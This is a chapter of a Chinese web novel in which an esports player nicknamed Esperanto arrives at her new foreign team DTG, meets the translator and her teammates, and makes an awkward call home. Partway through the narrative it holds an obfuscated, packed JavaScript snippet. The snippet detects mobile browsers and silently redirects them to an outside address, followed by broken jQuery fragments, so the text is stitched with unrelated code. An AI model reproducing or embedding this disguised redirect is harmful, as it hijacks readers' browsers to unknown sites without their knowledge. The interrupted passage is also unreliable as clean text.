一被拎到工作人员面前，“白羽绒服”瞬间怵了。


    他躬着腰，不敢抬头：“意外啊意外，手滑，那是砸我朋友的，谁知道飞偏了……”


    “撒谎！”揪他过来的女孩反驳，“我在你身后不远的地方，看得很清楚！”


    “眼见不、不一定为实，你看错也不是不可能。”


    喻昭苏心脏狂跳不止，震得她直站不住，压着心口蹲成一团。


    两人在她面前，一来一回争辩起来。


    警察赶来了，他才终于不嘴硬，嘴里艰难吐出真话。


    “上月不是LOL决赛嘛，我和几个朋友打了个小赌……但Dream因为她输了，我被按着倒立洗头，朋友们没扶稳，我摔出了脑震荡，养了一个月才好。


    “进来时候，我看见她从Dream车上下来，就想着、想着报复下。


    “对不起！”


    听了这番话，喻昭苏五味杂陈。


    她输了一场比赛。


    却又不止是一场比赛。


    S赛决赛牵扯的所有，编成一张密实的网，紧紧黏附于她作为职业选手的每一时。


    “白羽绒服”深刻检讨、诚恳道歉，知道喻昭苏不追究后，着急忙慌溜了。


    警察也离开了，女孩反而没走。


    “你还好吗？”


    喻昭苏颇为意外地抬头：“得缓一会儿，刚才的事情多谢。”


    “应该的。”女孩一屁股在她旁边坐下，“没事，我陪着你。”


    小心脏再次急促蹦跶起来，喻昭苏不动声色攥紧了手机。


    “不好意思，你和我——认识？”


    “当然啊，你是Esperanto选手嘛！”


    望见对方一脸的茫然，女孩一拍脑门：“呀，不好意思，忘记你不认识我啦！”


    “你好，我是DTG的领队，也是队内翻译，我的中文名字叫阮文竹。”


    她拿出了工作牌以及与Dream经理的聊天记录作证明。


    喻昭苏接过手机，瞧见她们今昨两天发的消息。


    [阮文竹]：DTG想派人去Dream基地接Esperanto选手。


    [经理]：明天一大早，Dream会把她送到机场。


    [阮文竹]：好滴，DTG去机场接，请您告诉选手。


    [阮文竹]：到了吗？


    [经理]：到了。但我忘了和她说，辛苦你找一下。


    “还有和我一起来的，她们买东西去了。”阮文竹补充，“很快回来。”


    “嗯。”


    觑着她脸色有所泛红，阮文竹咳了声，满心雀跃地搭话。


    “没想到你愿意来DTG，我们都蛮意外——当然，还是期待更多，跟泡泡一样，溢满了基地每面墙、每块地板。”


    “是吗？”


    阮文竹点头如捣蒜。


    “而且，我之前管的是青训。因为你来，一队需要翻译，就把会讲中文的我提上去领队啦。”


    喻昭苏露出笑意：“我外语说得很差，以后会经常麻烦你。”


    “尽管找我。”阮文竹仗义地捶胸口，“我们去找位置坐吧，地上凉。”


    喻昭苏理理头发，拍了下脸颊：“好。”


    “Esper，你会讲我们那里的‘你好’吗？”


    “我跟着翻译器突击了一下……”


    “哈哈哈，音是对的，就是声调有点奇怪，来，你跟着我说。”


    DTG在的国家，官方语言是他们自己的语言。


    喻昭苏的英语尚是半吊子，出国比赛全靠翻译和翻译器。


    更别说此种从未接触过的语言，她学起来，比练新英雄要难上好几个数量级。


    飞机起飞又降落，打招呼的话才在喻昭苏嘴里被捋顺。


    刚歇息片刻，随堂测就来了。


    DTG老板、经理一起来接她，一见面，一箩筐热情的招呼迎面袭来。


    喻昭苏操着声调仍然奇怪的口语，耗尽所学来回应。


    阮文竹凑在她耳边，低声翻译。


    “……经理夸你的发音，比许多初学者好！”


    她可是刻苦了一路，嗓子都快冒烟了！


    *


    这边的十二月并不湿冷。


    相反，阳光灿灿似金线，微风穿梭，织出一片暖意盈盈。


    出门时，喻昭苏还被寒风吹得手脚冰凉；这会儿，她已经脱掉了羽绒服。


    圆滚滚的经理甚至擦起了薄汗。


    后视镜里，机场渐渐远去，掩藏入车流与人潮。


    喻昭苏回想起离家那时。


    她执意去打职业，和家里大吵一架，收拾了衣服摔门而出，放狠话“亖外面都不会再回去”。


    出门后，她嚎啕大哭，抹着眼泪询问去汽车站的公交。


    虽然坐反了方向，但“家”却是在不断后撤，最终被高楼遮住。


    如同现在。


    她花了两年时间，向父母证明了她能站上职业联赛赛场。


    这一次呢？


    喻昭苏放过后视镜，朝前望去。


    一栋灰白的低矮建筑跃入视野，外墙上一片羽毛高挂，其下有一行英文——“DawnTowardGaming”。


    *


    DTG基地坐落在街角，四周车来人往，说话声不绝于耳。


    不远处，还有一所学校，此时正值下课，孩子们的嬉闹声如盛夏蝉鸣。


    喻昭苏深深呼吸着陌生的空气，跟着一群人进了DTG。


    “基地只有两层，地方也比较小。”阮文竹介绍，“一楼是训练、吃饭的地方，二楼是宿舍。”


    经理语速快似打|枪子，带着她上下转了一圈。


    最后才到训练室。


    那是个没有门的房间，只挂了块布当门帘，布的一面是羽毛队标，另一面印着他们捧杯的照片。


    DTG世界赛年年十六强，不过在联赛里，他们拿下过三分之一的冠军，称得上是统治级的表现。


    训练室里面也很挤。


    选手挨着两面墙背对而坐，椅子稍往周围滑动，小房间当场就能变成碰碰车场地。


    “Esperanto选手，你坐进门这里，这个位置身后没有人，活动方便一点。”


    看见喻昭苏进来，队友纷纷摘掉耳机起身。


    “他俩是中野，Oops和Argh。”


    中野一齐道：“Hello！”


    世界赛有一次采访前，陈决明和她闲聊，忽然说起DTG上中野的ID都是语气词。


    “为什么？”喻昭苏猜，“方便观众喝彩？”


    “Argh告诉我，他们打兄弟LOL，聚一起起名起得头秃，他‘Argh’地喊了一声，其他人惊坐起，猛拍桌子说这个好。”


    那时听过就忘了。


    时隔两个月，她后知后觉失笑。


    “Hi！Oops，Argh！”喻昭苏蹦出塑料英语，“Nicetoseeyou！”


    Oops撇嘴：“不用客气，平时叫我俩的话，喊中单和打野就行。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195238|165635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “LuffyX是AD。”


    LuffyX和喻昭苏握了手，没有讲话。


    “熟悉之后你就会知道，他话超多，能把人从头到脚埋起来。”


    喻昭苏环顾训练室，只有这三位选手。


    “辅助不在？”


    “哦，辅助4115情况特殊，他只有训练在基地，其他时候医院、家两头跑。”


    “他家里……”


    还没问完，经理在外面吆喝所有人去拍照。


    每人都被塞了只礼花筒，当着镜头同时拧爆。


    碎片流光溢彩。


    “嘭嘭”声响中，喻昭苏敏锐觉察到手机一震。


    [Dream经理]：在DTG了吧？


    [Esperanto]：嗯，什么事？


    [Dream经理]：替你家长确认你安全，她们拉不下脸和你说，所以托我问问你。


    碎片飘落，拂过她捏手机的手，留下细密的刺疼。


    [Esperanto]：这边比国内暖和，DTG各处都挺好的。


    [Dream经理]：行。要是遇上什么难处了，随时联系我。


    喻昭苏退出聊天，指尖悬在了拨号上。


    耳边却回荡起怒吼，“你——去了就别回来”。


    “Esperanto！”阮文竹凑过来，“你要打电话嘛？”


    “没有，”她连忙按熄手机，“怎么了？”


    “PD打算现在拍官宣视频，要占用一段时间。”


    临近黄昏，基地外的街道，已被各种摊贩占领，鼎沸的叫卖声不绝于耳。


    喻昭苏穿行过飘散的油烟，脑袋里，听不懂的音节疯狂大乱斗。


    “……从门口，慢慢走到尽头那棵树，她们在你身后拍。”


    半路，一个阿姨拦住她，推荐自家的小吃。


    阮文竹跑来，笑着和阿姨攀谈起来，解救了她。


    阿姨走后，阮文竹对着PD喊了句“继续拍摄”之类的话，什么也没朝她翻译。


    这一刻，喻昭苏品出几分孤立无援，忽地很想和家里说话。


    上次没来得及告诉她们，Dream招的新厨师不会煮粥，五次有三次糊锅……


    *


    “嘟——嘟——”


    可是没有人接。


    喻昭苏挂了又拨，反复折腾半小时，她乍记起“时差”的存在。


    一查，国内这时间已经凌晨了。


    偏巧这一回，电话接通了。


    “昭苏？”可能是刚醒来，提不起劲吵架，那边迷迷糊糊问，“这么晚什么事？”


    “就是说一声，我到了。”


    “嗯。”


    “还有，近来Dream做饭很难吃，粥都夹生的。”


    “……什么？”


    “没什么，挂了。”


    似是挑出了卡在喉头的鱼刺，喻昭苏脚步轻快地回了宿舍。


    收拾好行李，她钻进被子，点开了一条置顶聊天。


    往前，消息全框作了草绿。


    [喻昭苏]：对不起，我还是离开Dream、离开LPL了。我知道自己在做什么，希望你不会太生气。


    [喻昭苏]：好梦。


    她边敲字，边有其他的新消息闪出来轰炸。


    “谁啊？”


    [陈决明]：[探头]


    [陈决明]：饭否？


    [陈决明]：[视频]


    喻昭苏：“……”


    那边快日出了吧！


    还没睡呢？